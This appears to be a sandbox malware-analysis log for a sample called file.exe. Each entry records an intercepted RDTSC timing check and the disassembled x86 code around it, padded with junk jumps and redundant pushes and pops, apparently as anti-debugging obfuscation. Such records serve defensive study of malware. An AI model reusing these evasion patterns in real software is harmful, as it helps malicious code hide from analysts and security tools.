Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C10BF second address: 79C10C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C10C5 second address: 79C10F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, 74E806ECh 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 call 00007F3650C99DA2h 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C10F9 second address: 79C113F instructions: 0x00000000 rdtsc 0x00000002 mov dh, 38h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F3650BE6D7Ch 0x0000000c jmp 00007F3650BE6D85h 0x00000011 popfd 0x00000012 popad 0x00000013 sub eax, eax 0x00000015 pushad 0x00000016 mov bx, 1E60h 0x0000001a mov bh, C0h 0x0000001c popad 0x0000001d lock cmpxchg dword ptr [edx], ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F3650BE6D7Ah 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C113F second address: 79C1143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1143 second address: 79C1149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1149 second address: 79C114F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C114F second address: 79C1153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1153 second address: 79C1162 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1162 second address: 79C1166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1166 second address: 79C116A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C116A second address: 79C1170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1170 second address: 79C1183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650C99D9Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1183 second address: 79C1187 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1187 second address: 79C11B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test eax, eax 0x0000000a jmp 00007F3650C99DA5h 0x0000000f jne 00007F36BE0D82CCh 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C11B1 second address: 79C11BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 33DAEDACh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C12A9 second address: 79C12AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C12AD second address: 79C12C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D85h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C12C6 second address: 79C1332 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+10h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F3650C99D9Ch 0x00000013 or cx, 4AC8h 0x00000018 jmp 00007F3650C99D9Bh 0x0000001d popfd 0x0000001e jmp 00007F3650C99DA8h 0x00000023 popad 0x00000024 mov dword ptr [edx+10h], eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F3650C99DA7h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1332 second address: 79C1361 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esi+14h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F3650BE6D7Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1361 second address: 79C13BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3650C99DA7h 0x00000008 push esi 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [edx+14h], eax 0x00000010 jmp 00007F3650C99DA2h 0x00000015 mov eax, dword ptr [esi+18h] 0x00000018 jmp 00007F3650C99DA0h 0x0000001d mov dword ptr [edx+18h], eax 0x00000020 pushad 0x00000021 mov edi, ecx 0x00000023 mov dx, si 0x00000026 popad 0x00000027 mov eax, dword ptr [esi+1Ch] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov bh, FBh 0x0000002f push eax 0x00000030 pop edi 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C13BD second address: 79C1425 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3650BE6D85h 0x00000009 and ax, E176h 0x0000000e jmp 00007F3650BE6D81h 0x00000013 popfd 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [edx+1Ch], eax 0x0000001c jmp 00007F3650BE6D7Ch 0x00000021 mov eax, dword ptr [esi+20h] 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 pushfd 0x00000028 jmp 00007F3650BE6D7Ch 0x0000002d add si, 9DC8h 0x00000032 jmp 00007F3650BE6D7Bh 0x00000037 popfd 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1425 second address: 79C1481 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F3650C99DA2h 0x0000000f adc eax, 45CE6358h 0x00000015 jmp 00007F3650C99D9Bh 0x0000001a popfd 0x0000001b popad 0x0000001c mov dword ptr [edx+20h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F3650C99DA5h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1481 second address: 79C14C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F3650BE6D87h 0x00000009 sub ah, 0000007Eh 0x0000000c jmp 00007F3650BE6D89h 0x00000011 popfd 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov eax, dword ptr [esi+24h] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C14C7 second address: 79C14CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C14CB second address: 79C14D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C14D1 second address: 79C14EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650C99DA7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C14EC second address: 79C14F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C14F0 second address: 79C155D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+24h], eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F3650C99D9Bh 0x00000012 sub ax, 46EEh 0x00000017 jmp 00007F3650C99DA9h 0x0000001c popfd 0x0000001d mov ax, 9277h 0x00000021 popad 0x00000022 mov eax, dword ptr [esi+28h] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 call 00007F3650C99D9Fh 0x0000002d pop ecx 0x0000002e call 00007F3650C99DA9h 0x00000033 pop ecx 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C155D second address: 79C1563 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1563 second address: 79C1567 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C1567 second address: 79C15E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [edx+28h], eax 0x0000000b pushad 0x0000000c movzx ecx, dx 0x0000000f pushfd 0x00000010 jmp 00007F3650BE6D87h 0x00000015 add ecx, 4ABFC7BEh 0x0000001b jmp 00007F3650BE6D89h 0x00000020 popfd 0x00000021 popad 0x00000022 mov ecx, dword ptr [esi+2Ch] 0x00000025 pushad 0x00000026 mov di, FD1Eh 0x0000002a popad 0x0000002b mov dword ptr [edx+2Ch], ecx 0x0000002e jmp 00007F3650BE6D85h 0x00000033 mov ax, word ptr [esi+30h] 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F3650BE6D7Dh 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C15E3 second address: 79C15E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C15E9 second address: 79C15ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C15ED second address: 79C163F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [edx+30h], ax 0x0000000c jmp 00007F3650C99D9Fh 0x00000011 mov ax, word ptr [esi+32h] 0x00000015 jmp 00007F3650C99DA6h 0x0000001a mov word ptr [edx+32h], ax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F3650C99DA7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C163F second address: 79C168A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 pushfd 0x00000007 jmp 00007F3650BE6D7Bh 0x0000000c jmp 00007F3650BE6D83h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov eax, dword ptr [esi+34h] 0x00000018 jmp 00007F3650BE6D86h 0x0000001d mov dword ptr [edx+34h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C168A second address: 79C168E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C168E second address: 79C16AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C16AB second address: 79C16B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C16B1 second address: 79C16C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test ecx, 00000700h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C16C5 second address: 79C16CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C16CB second address: 79C16D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C16D0 second address: 79C171F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3650C99D9Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F36BE0D7DC7h 0x00000012 jmp 00007F3650C99DA6h 0x00000017 or dword ptr [edx+38h], FFFFFFFFh 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F3650C99DA7h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B0789 second address: 79B07BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edi, ecx 0x0000000d movzx ecx, dx 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F3650BE6D81h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B07BA second address: 79B07F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F3650C99D9Eh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F3650C99DA7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79B07F9 second address: 79B0826 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3650BE6D7Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795001B second address: 7950021 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7950021 second address: 7950027 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7950027 second address: 795002B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 795002B second address: 7950051 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F3650BE6D7Dh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3650BE6D7Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7950051 second address: 7950058 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79506CA second address: 795072A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F3650BE6D7Ah 0x0000000a sbb cl, FFFFFFF8h 0x0000000d jmp 00007F3650BE6D7Bh 0x00000012 popfd 0x00000013 popad 0x00000014 mov ah, 16h 0x00000016 popad 0x00000017 push eax 0x00000018 pushad 0x00000019 movzx esi, dx 0x0000001c popad 0x0000001d mov dword ptr [esp], ebp 0x00000020 jmp 00007F3650BE6D84h 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a pushfd 0x0000002b jmp 00007F3650BE6D7Ch 0x00000030 xor ch, FFFFFFB8h 0x00000033 jmp 00007F3650BE6D7Bh 0x00000038 popfd 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7950B69 second address: 7950B84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650C99DA7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7950B84 second address: 7950BBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e call 00007F3650BE6D7Ch 0x00000013 mov si, C0B1h 0x00000017 pop esi 0x00000018 pushad 0x00000019 mov edx, 47DA8970h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A0969 second address: 79A096D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A096D second address: 79A0971 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A0971 second address: 79A0977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79A0977 second address: 79A0A49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D7Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F3650BE6D7Dh 0x00000011 add cl, FFFFFFB6h 0x00000014 jmp 00007F3650BE6D81h 0x00000019 popfd 0x0000001a popad 0x0000001b push eax 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F3650BE6D87h 0x00000023 xor ecx, 7033E7EEh 0x00000029 jmp 00007F3650BE6D89h 0x0000002e popfd 0x0000002f push esi 0x00000030 pushfd 0x00000031 jmp 00007F3650BE6D87h 0x00000036 xor cx, 4DFEh 0x0000003b jmp 00007F3650BE6D89h 0x00000040 popfd 0x00000041 pop esi 0x00000042 popad 0x00000043 xchg eax, ebp 0x00000044 pushad 0x00000045 pushfd 0x00000046 jmp 00007F3650BE6D7Dh 0x0000004b or al, 00000036h 0x0000004e jmp 00007F3650BE6D81h 0x00000053 popfd 0x00000054 push eax 0x00000055 push edx 0x00000056 mov bx, ax 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7980017 second address: 798002F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650C99DA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798002F second address: 79800F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D7Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d call 00007F3650BE6D84h 0x00000012 pop ecx 0x00000013 call 00007F3650BE6D87h 0x00000018 pushfd 0x00000019 jmp 00007F3650BE6D88h 0x0000001e sub al, FFFFFFA8h 0x00000021 jmp 00007F3650BE6D7Bh 0x00000026 popfd 0x00000027 pop esi 0x00000028 popad 0x00000029 push eax 0x0000002a jmp 00007F3650BE6D86h 0x0000002f xchg eax, ebp 0x00000030 pushad 0x00000031 pushfd 0x00000032 jmp 00007F3650BE6D7Eh 0x00000037 or ch, 00000038h 0x0000003a jmp 00007F3650BE6D7Bh 0x0000003f popfd 0x00000040 push eax 0x00000041 mov bx, 6E5Ah 0x00000045 pop edx 0x00000046 popad 0x00000047 mov ebp, esp 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F3650BE6D88h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79800F4 second address: 79800FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79800FA second address: 7980121 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650BE6D7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF0h 0x0000000c pushad 0x0000000d movsx ebx, si 0x00000010 popad 0x00000011 sub esp, 44h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov di, E8D4h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7980121 second address: 79801A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3650C99DA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F3650C99DA0h 0x0000000f push eax 0x00000010 pushad 0x00000011 mov si, di 0x00000014 pushfd 0x00000015 jmp 00007F3650C99D9Dh 0x0000001a or ax, 5BA6h 0x0000001f jmp 00007F3650C99DA1h 0x00000024 popfd 0x00000025 popad 0x00000026 xchg eax, ebx 0x00000027 pushad 0x00000028 mov edi, ecx 0x0000002a mov ch, 6Dh 0x0000002c popad 0x0000002d push ebp 0x0000002e jmp 00007F3650C99DA0h 0x00000033 mov dword ptr [esp], esi 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F3650C99D9Ah 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79801A2 second address: 79801A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79801A6 second address: 79801AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79801AC second address: 79801BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3650BE6D7Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79801BD second address: 79801F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007F3650C99D9Ah 0x0000000e mov dword ptr [esp], edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F3650C99D9Dh 0x0000001a jmp 00007F3650C99D9Bh 0x0000001f popfd 0x00000020 push eax 0x00000021 pop ebx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79801F3 second address: 798021D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F3650BE6D87h 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov edi, dword ptr [ebp+08h] 0x0000000f pushad 0x00000010 movsx edi, si 0x00000013 push eax 0x00000014 push edx 0x00000015 mov di, ax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798021D second address: 7980268 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F3650C99DA8h 0x00000008 jmp 00007F3650C99DA5h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 popad 0x00000011 mov dword ptr [esp+24h], 00000000h 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F3650C99D9Dh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7980268 second address: 798026E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 798026E second address: 79802BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lock bts dword ptr [edi], 00000000h 0x0000000d jmp 00007F3650C99D9Fh 0x00000012 jc 00007F36C01EBF3Fh 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F3650C99DA4h 0x0000001f sbb cx, 6D18h 0x00000024 jmp 00007F3650C99D9Bh 0x00000029 popfd 0x0000002a push eax 0x0000002b push edx 0x0000002c mov dx, ax 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79802BC second address: 79802D9 instructions: 0x00000000 rdtsc 0x00000002 mov edi, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F3650BE6D83h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79802D9 second address: 79802DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79802DF second address: 79802E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79802E3 second address: 79802F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3650C99D9Ah 0x00000010 rdtsc
